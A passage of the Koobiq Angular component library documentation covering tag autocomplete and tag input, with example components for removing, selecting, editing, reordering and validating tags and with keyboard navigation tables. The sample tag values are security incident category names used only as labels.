                value: this.tagInput().nativeElement.value
            };

            this.onCreate(kbqTagEvent);
        }
    }

    private filter(value: string): string[] {
        // Convert the input value to lowercase for case-insensitive comparison
        const filterValue = value ? value.toLowerCase() : '';

        // Combine all tags and selected tags into a single array, removing duplicates
        const uniqueTags = [...new Set(this.allTags.concat(this.selectedTags))];

        return uniqueTags.filter((tag) => tag.toLowerCase().indexOf(filterValue) === 0);
    }

    private onControlValueChanges = (value: string | null) => {
        const typedText: string | undefined = autocompleteValueCoercion(value)?.trim();
        const filteredTagsByInput = typedText ? this.filter(typedText) : this.allTags.slice();

        const inputAndSelectionTagsDiff = filteredTagsByInput.filter((tag) => !this.selectedTags.includes(tag));

        // check for scenario where duplicate exists but also can create/select other tags
        this.hasDuplicates = !inputAndSelectionTagsDiff.length && this.tagInputDirective().hasDuplicates;

        return inputAndSelectionTagsDiff;
    };

    protected afterRemove(): void {
        this.tagInputDirective().focus();
    }
}
```

#### Tag removal

Tag removal order:

- If there are selected tags, all of them will be removed.
- If there are no selected tags, the focused tag will be removed.

Tags can be removed in several ways:

- Click on the remove icon (`kbqTagRemove` directive) inside the tag.
- Press `Delete` or `Backspace` key.
- Click on the reset control, which removes every tag except the disabled ones.
- Programmatic removal through the component [API](https://koobiq.io/api/tags.md).

The removal option is configured using the `removable` attribute (enabled by default). A disabled tag does not show its remove icon, and a list with `removable="false"` has no reset control either.

**Example: Tag autocomplete removable** (`tag-autocomplete-removable`)

```ts tag-autocomplete-removable-example.ts
import { COMMA, ENTER } from '@angular/cdk/keycodes';
import { ChangeDetectionStrategy, Component, computed, ElementRef, model, viewChild } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqAutocompleteModule, KbqAutocompleteSelectedEvent } from '@koobiq/components/autocomplete';
import { KbqHighlightBackgroundPipe } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTagEvent, KbqTagInput, KbqTagInputEvent, KbqTagsModule } from '@koobiq/components/tags';

const getAutocompleteOptions = () => [
    'BruteForce',
    'Complex Attack',
    'DDoS',
    'HIPS alert',
    'IDS/IPS Alert',
    'Zero-Day Exploit',
    'XSS',
    'Malware',
    'Ransomware',
    'Phishing'
];

@Component({
    selector: 'tag-autocomplete-removable-example',
    imports: [
        FormsModule,
        KbqTagsModule,
        KbqAutocompleteModule,
        KbqIconModule,
        KbqInputModule,
        KbqHighlightBackgroundPipe
    ],
    template: `
        <kbq-form-field>
            <kbq-tag-list #tagList="kbqTagList" removable>
                @for (tag of tags(); track tag) {
                    <kbq-tag [value]="tag" (removed)="removed($event)">
                        {{ tag }}
                        <i kbq-icon="kbq-xmark-s_16" kbqTagRemove (click)="afterRemove()"></i>
                    </kbq-tag>
                }

                <input
                    #input
                    kbqInput
                    placeholder="New tag"
                    [kbqTagInputFor]="tagList"
                    [kbqAutocomplete]="autocomplete"
                    [kbqTagInputSeparatorKeyCodes]="separatorKeysCodes"
                    [kbqTagInputAddOnBlur]="false"
                    [(ngModel)]="tagInputModel"
                    (kbqTagInputTokenEnd)="create($event)"
                />

                <kbq-cleaner />
            </kbq-tag-list>

            <kbq-autocomplete #autocomplete="kbqAutocomplete" (optionSelected)="selected($event, input)">
                @for (option of filteredOptions(); track option) {
                    <kbq-option [value]="option">
                        <span [innerHTML]="option | kbqHighlightBackground: tagInputModel().trim()"></span>
                    </kbq-option>
                }
            </kbq-autocomplete>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagAutocompleteRemovableExample {
    private readonly options = getAutocompleteOptions();
    protected readonly separatorKeysCodes = [ENTER, COMMA];
    protected readonly tagInputModel = model('');
    protected readonly tags = model(this.options.slice(0, 3));
    protected readonly filteredOptions = computed(() => {
        const current = this.tagInputModel().trim().toLowerCase();
        const options = this.options.filter((option) => !this.tags().includes(option));

        return current ? options.filter((option) => option.toLowerCase().includes(current)) : options;
    });
    private readonly input = viewChild.required(KbqTagInput, { read: ElementRef });

    protected create({ input, value = '' }: KbqTagInputEvent): void {
        if (value) {
            this.tags.update((tags) => [...tags, value]);
            input.value = '';
            this.tagInputModel.set('');
        }
    }

    protected removed({ tag }: KbqTagEvent): void {
        this.tags.update((tags) => {
            const index = tags.indexOf(tag.value);

            tags.splice(index, 1);

            return [...tags];
        });
    }

    protected selected({ option }: KbqAutocompleteSelectedEvent, input: HTMLInputElement): void {
        this.tags.update((tags) => [...tags, option.value]);
        input.value = '';
        this.tagInputModel.set('');
        option.deselect();
    }

    protected afterRemove(): void {
        this.input().nativeElement.focus();
    }
}
```

The reset control needs no handler of its own — it removes the tags through the same `removed` output as the remove icon inside a tag. Which tags it removes is set by the `clearPredicate` attribute: `[clearPredicate]="clearEverything"` and `clearEverything = () => true` clear the disabled ones too.

**Example: Tag autocomplete cleaner with disabled tags** (`tag-autocomplete-cleaner-with-disabled`)

```ts tag-autocomplete-cleaner-with-disabled-example.ts
import { COMMA, ENTER } from '@angular/cdk/keycodes';
import { ChangeDetectionStrategy, Component, computed, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqAutocompleteModule, KbqAutocompleteSelectedEvent } from '@koobiq/components/autocomplete';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTagEvent, KbqTagInputEvent, KbqTagsModule } from '@koobiq/components/tags';

const getAutocompleteOptions = () => [
    'BruteForce',
    'Complex Attack',
    'DDoS',
    'HIPS alert',
    'Malware',
    'Phishing'
];

/** Tags the user is not allowed to take off. */
const lockedTags = ['DDoS'];

@Component({
    selector: 'tag-autocomplete-cleaner-with-disabled-example',
    imports: [
        FormsModule,
        KbqAutocompleteModule,
        KbqIconModule,
        KbqInputModule,
        KbqTagsModule
    ],
    template: `
        <kbq-form-field>
            <kbq-tag-list #tagList="kbqTagList">
                @for (tag of tags(); track tag) {
                    <kbq-tag [value]="tag" [disabled]="isLocked(tag)" (removed)="removed($event)">
                        {{ tag }}
                        <i kbq-icon="kbq-xmark-s_16" kbqTagRemove></i>
                    </kbq-tag>
                }

                <input
                    #input
                    kbqInput
                    placeholder="New tag"
                    [kbqTagInputFor]="tagList"
                    [kbqAutocomplete]="autocomplete"
                    [kbqTagInputSeparatorKeyCodes]="separatorKeysCodes"
                    [(ngModel)]="tagInputModel"
                    (kbqTagInputTokenEnd)="create($event)"
                />

                <kbq-cleaner />
            </kbq-tag-list>

            <kbq-autocomplete #autocomplete="kbqAutocomplete" (optionSelected)="selected($event, input)">
                @for (option of filteredOptions(); track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-autocomplete>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagAutocompleteCleanerWithDisabledExample {
    private readonly options = getAutocompleteOptions();
    protected readonly separatorKeysCodes = [ENTER, COMMA];
    protected readonly tagInputModel = model('');
    protected readonly tags = model(this.options.slice(0, 4));
    protected readonly filteredOptions = computed(() => {
        const current = this.tagInputModel().trim().toLowerCase();
        const options = this.options.filter((option) => !this.tags().includes(option));

        return current ? options.filter((option) => option.toLowerCase().includes(current)) : options;
    });

    protected isLocked(tag: string): boolean {
        return lockedTags.includes(tag);
    }

    protected create({ input, value = '' }: KbqTagInputEvent): void {
        if (value) {
            this.tags.update((tags) => [...tags, value]);
            input.value = '';
            this.tagInputModel.set('');
        }
    }

    protected removed({ tag }: KbqTagEvent): void {
        this.tags.update((tags) => tags.filter((value) => value !== tag.value));
    }

    protected selected({ option }: KbqAutocompleteSelectedEvent, input: HTMLInputElement): void {
        this.tags.update((tags) => [...tags, option.value]);
        input.value = '';
        this.tagInputModel.set('');
        option.deselect();
    }
}
```

#### Tag selection

Tags can be selected in several ways:

- Click on a tag while holding `Ctrl`.
- Click on a tag while holding `Shift` to change the selection range from the anchor tag to the clicked tag.
- Press `Shift` + `←` / `→` to expand or shrink the range.
- Press `Ctrl+A` key combination.
- `Space` when the tag is focused.
- Programmatic selection through the component [API](https://koobiq.io/api/tags.md).

Pointer and keyboard interactions change the same range relative to its initial tag. When the range shrinks, tags outside it are deselected. Disabled tags remain unchanged.

The selection option is configured using the `selectable` attribute (enabled by default).

#### Editing

To enable editing mode, you need to set the `editable` property for `kbq-tag-list` or individual `kbq-tag`.

Enter editing mode:

- On double click on the tag.
- On pressing `Enter` or `F2` key (when tag is focused).

Save changes:

- On pressing `Enter` key.
- On clicking the confirmation button (`kbqTagEditSubmit` directive).

Cancel changes:

- On pressing `Escape` key.
- On focus loss.

In editing mode, the tag transforms into an input field and remains at the same position within the control.

**Example: Tag autocomplete editable** (`tag-autocomplete-editable`)

```ts tag-autocomplete-editable-example.ts
import { COMMA, ENTER } from '@angular/cdk/keycodes';
import { ChangeDetectionStrategy, Component, computed, ElementRef, model, viewChild } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqAutocompleteModule, KbqAutocompleteSelectedEvent } from '@koobiq/components/autocomplete';
import { KbqComponentColors, KbqHighlightBackgroundPipe } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTagEditChange, KbqTagEvent, KbqTagInput, KbqTagInputEvent, KbqTagsModule } from '@koobiq/components/tags';
import { KbqTitleModule } from '@koobiq/components/title';

const getAutocompleteOptions = () => [
    'BruteForce',
    'Complex Attack',
    'DDoS',
    'HIPS alert',
    'IDS/IPS Alert',
    'Zero-Day Exploit',
    'XSS',
    'Malware',
    'Ransomware',
    'Phishing'
];

@Component({
    selector: 'tag-autocomplete-editable-example',
    imports: [
        FormsModule,
        KbqTagsModule,
        KbqAutocompleteModule,
        KbqIconModule,
        KbqInputModule,
        KbqTitleModule,
        KbqHighlightBackgroundPipe
    ],
    template: `
        <kbq-form-field>
            <kbq-tag-list #tagList="kbqTagList" editable>
                @for (tag of tags(); track tag) {
                    <kbq-tag
                        kbq-title
                        [value]="tag"
                        (editChange)="editChange($event, $index, input)"
                        (removed)="removed($event)"
                    >
                        {{ tag }}
                        <input kbqInput kbqTagEditInput [(ngModel)]="editInputModel" />
                        @if (editInputModel().length === 0) {
                            <i kbq-icon-button="kbq-xmark-s_16" kbqTagEditSubmit [color]="color.Theme"></i>
                        } @else {
                            <i kbq-icon-button="kbq-check-s_16" kbqTagEditSubmit [color]="color.Theme"></i>
                        }
                        <i kbq-icon-button="kbq-xmark-s_16" kbqTagRemove (click)="afterRemove()"></i>
                    </kbq-tag>
                }

                <input
                    #input
                    kbqInput
                    placeholder="New tag"
                    [kbqTagInputFor]="tagList"
                    [kbqAutocomplete]="autocomplete"
                    [kbqTagInputSeparatorKeyCodes]="separatorKeysCodes"
                    [kbqTagInputAddOnBlur]="false"
                    [(ngModel)]="tagInputModel"
                    (kbqTagInputTokenEnd)="create($event)"
                />

                <kbq-cleaner />
            </kbq-tag-list>

            <kbq-autocomplete #autocomplete="kbqAutocomplete" (optionSelected)="selected($event, input)">
                @for (option of filteredOptions(); track option) {
                    <kbq-option [value]="option">
                        <span [innerHTML]="option | kbqHighlightBackground: tagInputModel().trim()"></span>
                    </kbq-option>
                }
            </kbq-autocomplete>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagAutocompleteEditableExample {
    private readonly options = getAutocompleteOptions();
    protected readonly color = KbqComponentColors;
    protected readonly separatorKeysCodes = [ENTER, COMMA];
    protected readonly tagInputModel = model('');
    protected readonly tags = model(this.options.slice(0, 2));
    protected readonly filteredOptions = computed(() => {
        const current = this.tagInputModel().trim().toLowerCase();
        const options = this.options.filter((option) => !this.tags().includes(option));

        return current ? options.filter((option) => option.toLowerCase().includes(current)) : options;
    });
    protected readonly editInputModel = model<string>('');
    private readonly input = viewChild.required(KbqTagInput, { read: ElementRef });

    protected create({ input, value = '' }: KbqTagInputEvent): void {
        if (value) {
            this.tags.update((tags) => [...tags, value]);
            input.value = '';
            this.tagInputModel.set('');
        }
    }

    protected removed({ tag }: KbqTagEvent): void {
        this.tags.update((tags) => {
            const index = tags.indexOf(tag.value);

            tags.splice(index, 1);

            return [...tags];
        });
    }

    protected selected({ option }: KbqAutocompleteSelectedEvent, input: HTMLInputElement): void {
        this.tags.update((tags) => [...tags, option.value]);
        input.value = '';
        this.tagInputModel.set('');
        option.deselect();
    }

    protected editChange({ type, tag }: KbqTagEditChange, index: number, input: HTMLInputElement): void {
        switch (type) {
            case 'start': {
                this.editInputModel.set(tag.value);
                break;
            }
            case 'cancel': {
                this.editInputModel.set('');
                input.focus();
                break;
            }
            case 'submit': {
                if (!this.editInputModel()) {
                    tag.remove();
                } else {
                    this.tags.update((tags) => {
                        tags[index] = this.editInputModel();

                        return [...tags];
                    });
                    this.editInputModel.set('');
                }

                input.focus();
                break;
            }
            default:
        }
    }

    protected afterRemove(): void {
        this.input().nativeElement.focus();
    }
}
```

#### Drag and drop

To enable tag reordering, you need to set the `draggable` property for `kbq-tag-list`.

**Example: Tag autocomplete draggable** (`tag-autocomplete-draggable`)

```ts tag-autocomplete-draggable-example.ts
import { moveItemInArray } from '@angular/cdk/drag-drop';
import { COMMA, ENTER } from '@angular/cdk/keycodes';
import { ChangeDetectionStrategy, Component, computed, ElementRef, model, viewChild } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqAutocompleteModule, KbqAutocompleteSelectedEvent } from '@koobiq/components/autocomplete';
import { KbqHighlightBackgroundPipe } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import {
    KbqTagEvent,
    KbqTagInput,
    KbqTagInputEvent,
    KbqTagListDroppedEvent,
    KbqTagsModule
} from '@koobiq/components/tags';

const getAutocompleteOptions = () => [
    'BruteForce',
    'Complex Attack',
    'DDoS',
    'HIPS alert',
    'IDS/IPS Alert',
    'Zero-Day Exploit',
    'XSS',
    'Malware',
    'Ransomware',
    'Phishing'
];

@Component({
    selector: 'tag-autocomplete-draggable-example',
    imports: [
        FormsModule,
        KbqTagsModule,
        KbqAutocompleteModule,
        KbqIconModule,
        KbqInputModule,
        KbqHighlightBackgroundPipe
    ],
    template: `
        <kbq-form-field>
            <kbq-tag-list #tagList="kbqTagList" draggable (dropped)="dropped($event)">
                @for (tag of tags(); track tag) {
                    <kbq-tag [value]="tag" (removed)="removed($event)">
                        {{ tag }}
                        <i kbq-icon="kbq-xmark-s_16" kbqTagRemove (click)="afterRemove()"></i>
                    </kbq-tag>
                }

                <input
                    #input
                    kbqInput
                    placeholder="New tag"
                    [kbqTagInputFor]="tagList"
                    [kbqAutocomplete]="autocomplete"
                    [kbqTagInputSeparatorKeyCodes]="separatorKeysCodes"
                    [kbqTagInputAddOnBlur]="false"
                    [(ngModel)]="tagInputModel"
                    (kbqTagInputTokenEnd)="create($event)"
                />

                <kbq-cleaner />
            </kbq-tag-list>

            <kbq-autocomplete #autocomplete="kbqAutocomplete" (optionSelected)="selected($event, input)">
                @for (option of filteredOptions(); track option) {
                    <kbq-option [value]="option">
                        <span [innerHTML]="option | kbqHighlightBackground: tagInputModel().trim()"></span>
                    </kbq-option>
                }
            </kbq-autocomplete>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagAutocompleteDraggableExample {
    private readonly options = getAutocompleteOptions();
    protected readonly separatorKeysCodes = [ENTER, COMMA];
    protected readonly tagInputModel = model('');
    protected readonly tags = model(this.options.slice(0, 6));
    protected readonly filteredOptions = computed(() => {
        const current = this.tagInputModel().trim().toLowerCase();
        const options = this.options.filter((option) => !this.tags().includes(option));

        return current ? options.filter((option) => option.toLowerCase().includes(current)) : options;
    });
    private readonly input = viewChild.required(KbqTagInput, { read: ElementRef });

    protected create({ input, value = '' }: KbqTagInputEvent): void {
        if (value) {
            this.tags.update((tags) => [...tags, value]);
            input.value = '';
            this.tagInputModel.set('');
        }
    }

    protected afterRemove(): void {
        this.focusInput();
    }

    protected removed({ tag }: KbqTagEvent): void {
        this.tags.update((tags) => {
            const index = tags.indexOf(tag.value);

            tags.splice(index, 1);

            return [...tags];
        });
    }

    protected selected({ option }: KbqAutocompleteSelectedEvent, input: HTMLInputElement): void {
        this.tags.update((tags) => [...tags, option.value]);
        input.value = '';
        this.tagInputModel.set('');
        option.deselect();
    }

    protected dropped({ previousIndex, currentIndex }: KbqTagListDroppedEvent): void {
        moveItemInArray(this.tags(), previousIndex, currentIndex);
        this.focusInput();
    }

    private focusInput(): void {
        this.input().nativeElement.focus();
    }
}
```

#### Validation

Validators belong on `<kbq-tag-list>`: the tag list is the form control for the whole set of tags, while the input is only a text entry helper.

A `[formControl]` or `[ngModel]` of its own on `<input kbqTagInputFor>` is still required here: `kbqAutocomplete` drives the input through it, and without it panel filtering and typed-text tracking break. The library simply does not consider validators attached to that control.

The control value is the array of tags, so a single set of validators covers both the number of tags and the content of each one. Validation applies equally to tags picked from the autocomplete panel, typed by hand and pasted from the clipboard.

Validators do not prevent a tag from being added: the tag is added and the field goes into the error state. To keep an invalid value out of the list, filter it in the `(kbqTagInputTokenEnd)` and `(optionSelected)` handlers.

When the error becomes visible is controlled by [ErrorStateMatcher](https://koobiq.io/en/other/validation.md), and by default happens once the control is invalid and either touched or the form has been submitted.

**Example: Tag autocomplete with form control validators** (`tag-autocomplete-with-form-control-validators`)

```ts tag-autocomplete-with-form-control-validators-example.ts
import { ChangeDetectionStrategy, Component, computed, ElementRef, signal, viewChild } from '@angular/core';
import { toSignal } from '@angular/core/rxjs-interop';
import {
    AbstractControl,
    FormControl,
    ReactiveFormsModule,
    ValidationErrors,
    ValidatorFn,
    Validators
} from '@angular/forms';
import { KbqAutocompleteModule, KbqAutocompleteSelectedEvent } from '@koobiq/components/autocomplete';
import { KbqHighlightBackgroundPipe } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTagInput, KbqTagInputEvent, KbqTagsModule } from '@koobiq/components/tags';

const MAX_TAG_COUNT = 5;
const LATIN_PATTERN = /^[a-zA-Z]+$/;
const OPTIONS = ['Phishing', 'Ransomware', 'Spyware', 'Вирус', 'Trojan', 'Botnet', 'Rootkit', 'Keylogger'];

/** Validates every tag separately, reporting the offending ones back to the template. */
const latinValidator = (): ValidatorFn => {
    return ({ value }: AbstractControl<string[] | null>): ValidationErrors | null => {
        const invalidTags = (value || []).filter((tag) => !LATIN_PATTERN.test(tag));

        return invalidTags.length ? { latin: { invalidTags } } : null;
    };
};

/** @title Tag autocomplete with form control validators */
@Component({
    selector: 'tag-autocomplete-with-form-control-validators-example',
    imports: [
        ReactiveFormsModule,
        KbqTagsModule,
        KbqAutocompleteModule,
        KbqIconModule,
        KbqInputModule,
        KbqHighlightBackgroundPipe
    ],
    template: `
        <kbq-form-field>
            <kbq-tag-list #tagList="kbqTagList" [formControl]="formControl">
                @for (tag of formControl.value; track $index) {
                    <kbq-tag [value]="tag" (removed)="removeTag(tag)">
                        {{ tag }}
                        <i kbq-icon-button="kbq-xmark-s_16" kbqTagRemove (click)="afterRemove()"></i>
                    </kbq-tag>
                }

                <input
                    #input
                    autocomplete="off"
                    kbqInput
                    placeholder="New tag"
                    [kbqAutocomplete]="autocomplete"
                    [kbqTagInputFor]="tagList"
                    (input)="query.set(input.value)"
                    (kbqTagInputTokenEnd)="createTag($event)"
                />

                <kbq-cleaner />
            </kbq-tag-list>

            <kbq-autocomplete #autocomplete="kbqAutocomplete" (optionSelected)="selected($event, input)">
                @for (option of filteredOptions(); track option) {
                    <kbq-option [value]="option">
                        <span [innerHTML]="option | kbqHighlightBackground: query().trim()"></span>
                    </kbq-option>
                }
            </kbq-autocomplete>

            <kbq-hint>Only latin letters, up to {{ maxTagCount }} tags</kbq-hint>

            @if (formControl.hasError('required')) {
                <kbq-error>Field is required</kbq-error>
            }

            @if (formControl.getError('maxlength'); as error) {
                <kbq-error>No more than {{ error.requiredLength }} tags</kbq-error>
            }

            @if (formControl.getError('latin'); as error) {
                <kbq-error>Invalid tags: {{ error.invalidTags.join(', ') }}</kbq-error>
            }
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagAutocompleteWithFormControlValidatorsExample {
    private readonly input = viewChild.required(KbqTagInput, { read: ElementRef });

    protected readonly maxTagCount = MAX_TAG_COUNT;
    protected readonly query = signal('');
    protected readonly formControl = new FormControl<string[]>(OPTIONS.slice(0, 3), [
        Validators.required,
        Validators.maxLength(MAX_TAG_COUNT),
        latinValidator()
    ]);

    /** The control value as a signal, so the option list can be derived from it. */
    private readonly tags = toSignal(this.formControl.valueChanges, { initialValue: this.formControl.value });

    protected readonly filteredOptions = computed(() => {
        const current = this.query().trim().toLowerCase();
        const options = OPTIONS.filter((option) => !this.tags()?.includes(option));

        return current ? options.filter((option) => option.toLowerCase().includes(current)) : options;
    });

    protected createTag({ value, input }: KbqTagInputEvent): void {
        if (value) {
            this.addTag(value);
        }

        this.resetInput(input);
    }

    protected selected({ option }: KbqAutocompleteSelectedEvent, input: HTMLInputElement): void {
        this.addTag(option.value);
        this.resetInput(input);
        option.deselect();
    }

    protected removeTag(tag: string): void {
        const tags = [...(this.formControl.value || [])];
        const index = tags.indexOf(tag);

        if (index >= 0) {
            tags.splice(index, 1);
            this.formControl.setValue(tags);
        }
    }

    protected afterRemove(): void {
        this.input().nativeElement.focus();
    }

    private addTag(tag: string): void {
        this.formControl.setValue([...(this.formControl.value || []), tag]);
    }

    private resetInput(input: HTMLInputElement): void {
        input.value = '';
        this.query.set('');
    }
}
```

#### Keyboard navigation

##### Focus in empty input area

| Key                         | Action                                         |
| --------------------------- | ---------------------------------------------- |
| Backspace / ← / Shift + Tab | Move focus to the last tag.                    |
| Ctrl + A                    | Select all tags and set focus to the last one. |

##### Focus on tag

| Key                | Action                           |
| ------------------ | -------------------------------- |
| ← / →              | Move focus to previous/next tag. |
| Shift + ← / →      | Change the range and move focus. |
| Space              | Select/deselect tag.             |
| Delete / Backspace | Remove tag.                      |
| F2 / Enter         | Start editing.                   |
| Ctrl + A           | Select all tags.                 |
| Home / End         | Move focus to first/last tag.    |

##### Tag editing mode

| Key   | Action          |
| ----- | --------------- |
| Enter | Save changes.   |
| Esc   | Cancel changes. |

### API

The API of `@koobiq/components/tags` is listed under Tag.

### Examples

#### Disable tag creation on the "paste" event

**Example: Tag autocomplete onpaste off** (`tag-autocomplete-onpaste-off`)

```ts tag-autocomplete-onpaste-off-example.ts
import { ENTER } from '@angular/cdk/keycodes';
import { AsyncPipe } from '@angular/common';
import { AfterViewInit, ChangeDetectionStrategy, Component, ElementRef, viewChild } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqAutocompleteModule, KbqAutocompleteSelectedEvent } from '@koobiq/components/autocomplete';
import { KbqHighlightBackgroundPipe } from '@koobiq/components/core';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTagInput, KbqTagInputEvent, KbqTagsModule, kbqTagsDefaultOptionsProvider } from '@koobiq/components/tags';
import { Observable } from 'rxjs';
import { map } from 'rxjs/operators';

const autocompleteValueCoercion = (value): string => (value?.new ? value.value : value) || '';

@Component({
    selector: 'tag-autocomplete-onpaste-off-example',
    imports: [
        KbqTagsModule,
        KbqFormFieldModule,
        KbqIconModule,
        ReactiveFormsModule,
        KbqAutocompleteModule,
        AsyncPipe,
        KbqHighlightBackgroundPipe
    ],
    templateUrl: 'tag-autocomplete-onpaste-off-example.html',
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            margin: var(--kbq-size-5xl);
        }
    `,
    // turn off tag add on paste with InjectionToken
    providers: [kbqTagsDefaultOptionsProvider({ separatorKeyCodes: [ENTER], addOnPaste: false })],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagAutocompleteOnpasteOffExample implements AfterViewInit {
    readonly tagInput = viewChild.required<ElementRef<HTMLInputElement>>('tagInput');
    readonly tagInputDirective = viewChild.required('tagInput', { read: KbqTagInput });

    control = new FormControl();

    suggestions: string[] = ['tag1', 'tag2', 'tag3', 'tag4', 'tag5', 'tag6', 'tag7', 'tag8', 'tag9', 'tag10'];
    selectedTags: string[] = ['tag1'];

    filteredTags: Observable<string[]>;
    hasDuplicates: boolean;

    get canCreate(): boolean {
        const cleanedValue: string = (this.control.value || '').trim();

        return (
            !!cleanedValue &&
            [...new Set(this.suggestions.concat(this.selectedTags))].every((tag) => tag !== cleanedValue)
        );
    }

    ngAfterViewInit(): void {
        this.filteredTags = this.control.valueChanges.pipe(map((e: string | null) => this.onControlValueChanges(e)));
    }

    addOnBlurFunc(event: FocusEvent) {
        const target: HTMLElement = event.relatedTarget as HTMLElement;

        if (!target || target.tagName !== 'KBQ-OPTION') {
            const mcTagEvent: KbqTagInputEvent = {
                input: this.tagInput().nativeElement,
                value: this.tagInput().nativeElement.value
            };

            this.onCreate(mcTagEvent);
        }
    }

    onCreate({ input, value }: KbqTagInputEvent): void {
        this.control.setValue(value);
        const cleanedValue = (value || '').trim();

        if (cleanedValue && this.canCreate) {
            this.selectedTags.push(cleanedValue);

            // Reset the input value
            if (input) input.value = '';

            this.control.setValue(null);

            return;
        }

        // save input value on paste event to continue editing
        input.value = cleanedValue;
        this.control.setValue(cleanedValue);
    }

    onSelect({ option }: KbqAutocompleteSelectedEvent): void {
        option.deselect();

        this.selectedTags.push(autocompleteValueCoercion(option.value));
        this.tagInput().nativeElement.value = '';
        this.control.setValue(null);
    }

    onRemove(fruit: any): void {
        const index = this.selectedTags.indexOf(fruit);

        if (index >= 0) {
            this.selectedTags.splice(index, 1);
        }
    }

    private filter(value: string): string[] {
        // Convert the input value to lowercase for case-insensitive comparison
        const filterValue = value ? value.toLowerCase() : '';

        // Combine all tags and selected tags into a single array, removing duplicates
        const uniqueTags = [...new Set(this.suggestions.concat(this.selectedTags))];

        return uniqueTags.filter((tag) => tag.toLowerCase().indexOf(filterValue) === 0);
    }

    private onControlValueChanges = (value: string | null) => {
        const typedText: string | undefined = autocompleteValueCoercion(value)?.trim();
        const filteredTagsByInput = typedText ? this.filter(typedText) : this.suggestions.slice();

        const inputAndSelectionTagsDiff = filteredTagsByInput.filter((tag) => !this.selectedTags.includes(tag));

        // check for scenario where duplicate exists but also can create/select other tags
        this.hasDuplicates = !inputAndSelectionTagsDiff.length && this.tagInputDirective().hasDuplicates;

        // Return the difference between filtered tags and selected tags
        return inputAndSelectionTagsDiff;
    };

    protected afterRemove(): void {
        this.tagInput().nativeElement.focus();
    }
}
```

```html tag-autocomplete-onpaste-off-example.html
<kbq-form-field>
    <kbq-tag-list #tagList="kbqTagList">
        @for (tag of selectedTags; track $index) {
            <kbq-tag [value]="tag" (removed)="onRemove(tag)">
                {{ tag }}
                <i kbq-icon="kbq-xmark-s_16" kbqTagRemove (click)="afterRemove()"></i>
            </kbq-tag>
        }

        <!-- turn off tag add on paste with Input property -->
        <input
            #tagInput
            autocomplete="off"
            placeholder="New tag"
            [distinct]="true"
            [formControl]="control"
            [kbqAutocomplete]="autocomplete"
            [kbqTagInputAddOnBlur]="false"
            [kbqTagInputAddOnPaste]="false"
            [kbqTagInputFor]="tagList"
            [kbqTagInputSeparatorKeyCodes]="[]"
            (blur)="addOnBlurFunc($event)"
            (kbqTagInputTokenEnd)="onCreate($event)"
        />

        <kbq-cleaner />
    </kbq-tag-list>
    <kbq-autocomplete #autocomplete (optionSelected)="onSelect($event)">
        @if (canCreate) {
            <kbq-option [value]="{ new: true, value: tagInput.value }">Создать: {{ tagInput.value }}</kbq-option>
        }
        @if (hasDuplicates) {
            <kbq-option [disabled]="true">Ничего не найдено</kbq-option>
        }
        @for (tag of filteredTags | async; track $index) {
            <kbq-option [value]="tag">
                <span [innerHTML]="tag | kbqHighlightBackground: tagInput.value"></span>
            </kbq-option>
        }
    </kbq-autocomplete>
</kbq-form-field>
```

## Tag input

- Entry point: `@koobiq/components/tags`
- NgModule: `KbqTagsModule`
- Page: https://koobiq.io/en/components/tag-input/overview

### Overview

Tag Input lets users enter multiple values as tags and supports keyboard navigation, selection, and removal.

**Example: Tag input overview** (`tag-input-overview`)

```ts tag-input-overview-example.ts
import { moveItemInArray } from '@angular/cdk/drag-drop';
import { COMMA, ENTER, SEMICOLON, SPACE, TAB } from '@angular/cdk/keycodes';
import { ChangeDetectionStrategy, Component, ElementRef, model, viewChild } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import {
    KbqTagEvent,
    KbqTagInput,
    KbqTagInputEvent,
    KbqTagListDroppedEvent,
    KbqTagsModule
} from '@koobiq/components/tags';

const getTags = () => Array.from({ length: 3 }, (_, i) => ({ value: `Tag ${i}` }));

@Component({
    selector: 'tag-input-overview-example',
    imports: [KbqTagsModule, KbqIconModule, KbqInputModule],
    template: `
        <kbq-form-field>
